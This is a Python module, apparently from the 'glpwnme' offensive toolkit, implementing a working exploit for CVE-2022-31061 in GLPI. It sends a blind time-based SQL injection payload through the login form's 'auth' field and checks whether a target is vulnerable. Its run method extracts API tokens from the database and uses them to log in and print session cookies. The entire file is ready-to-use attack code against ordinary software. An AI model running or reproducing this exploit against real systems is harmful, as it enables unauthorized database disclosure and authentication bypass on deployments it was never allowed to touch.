import time
from http import HTTPStatus
from rich import print as rp
from ..exploit import GlpiExploit
from glpwnme.exploits.sql_injection_mixin import SqlInjectionMixin
from glpwnme.exploits.logger import Log
from glpwnme.exploits.utils import LoginResult

class CVE_2022_31061(GlpiExploit, SqlInjectionMixin):
    """
    Sql injection on login page

    @author Therob89
    @cvss 7.4
    @name CVE_2022_31061
    """
    min_version = "9.3"
    max_version = "10.0.2"
    _impacts = "SQLi, Database Disclosure, Authent Bypass"
    sleep_time = "3"
    _is_check_opsec_safe = False # Check is not opsec safe as it update some table fields

    def send_payload(self, payload):
        """
        Send the payload

        :param payload: The payload sql to send
        :type payload: str
        """
        others = {"auth": f"ldap-1' UNION SELECT IF(({payload}), SLEEP({self.sleep_time}), 0) # ", "noAUTO": "0"}
        self.start_time = time.time()
        self.glpi_session.login("tech", "test", others=others, verbose=False)

    def infos(self):
        """
        This method is used to display the information of an exploit.
        This method support rich formatting

        :return: The whole informations about an exploit
        :rtype: str
        """
        infos = "[u]Description:[/u]\n"
        infos += "This exploit allow you to exploit a SQL Injection on the login page.\n"
        infos += "The SQL injection is a blind one.\n"

        infos += "\n[u]Usage:[/u]\n"
        infos += "[grey66]# Try to list api_token in the app with a sleep_time of 3s[/]\n"
        infos += "--run -O sleep_time=3\n"
        infos += "\nExploit is [green b]Safe[/]"
        return infos

    def check_result(self, res):
        """
        Check if the payload worked given a result

        :return: The result of the injection
        :rtype: bool
        """
        if time.time() - self.start_time > float(self.sleep_time):
            return True
        return False

    def check(self):
        """
        Check if the target is vulnerable to the Sql Injection
        vulnerability
        """
        endpoint = "/front/login.php"
        others = {"auth": "ldap-1' UNION SELECT SLEEP(3) # ", "noAUTO": "0"}
        start_time = time.time()
        self.glpi_session.login("tech", "test", others=others, verbose=False)
        if time.time() - start_time >= 3.0:
            return True
        return False

    def run(self, sleep_time=None):
        """
        Run the sql exploit
        """
        if sleep_time:
            self.sleep_time = sleep_time

        tokens = self.enum_api_token_available()
        if tokens:
            Log.log(f"Trying to login with api token")
            for token in tokens:
                if self.glpi_session.login("DONTEXISTS", "test", others={"user_token": token}) == LoginResult.SUCCESS:
                    Log.msg(f"Success, here is your cookie:\n\t - {'; '.join(self.glpi_session.get_login_cookie())}")
                else:
                    Log.err(f"Error while login")
        else:
            Log.err(f"No api token in the DB ...")

